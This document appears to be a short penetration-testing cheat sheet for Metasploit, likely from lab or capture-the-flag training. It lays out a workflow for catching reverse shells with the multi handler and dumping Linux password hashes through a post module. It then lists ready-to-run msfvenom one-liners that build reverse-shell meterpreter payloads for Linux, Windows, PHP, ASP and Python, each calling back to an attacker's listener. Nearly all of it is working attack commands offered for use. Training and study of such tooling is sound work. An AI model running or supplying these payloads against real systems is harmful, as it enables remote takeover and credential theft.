Metasploit
Generating standalone payloads with msfvenom and catching them with Metasploit.
Workflow
msfvenom -l payloadslists all payloads for msfvenom.- Use the msf multi handler to catch the reverse shell:
use exploit/multi/handler. - Background sessions with
ctrl+zand load the session into another module such asuse post/linux/gather/hashdump, thenset SESSION <id>andexploitto run a hashdump on Linux systems. A similar method can be deployed on Windows.
When editing non-exe payloads with gedit, double check that sections are not commented out or missing opening/closing syntax like <?PHP ?>.
Payload One-Liners
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf # Linux (elf)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe # Windows
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php # PHP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp # ASP
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py # Python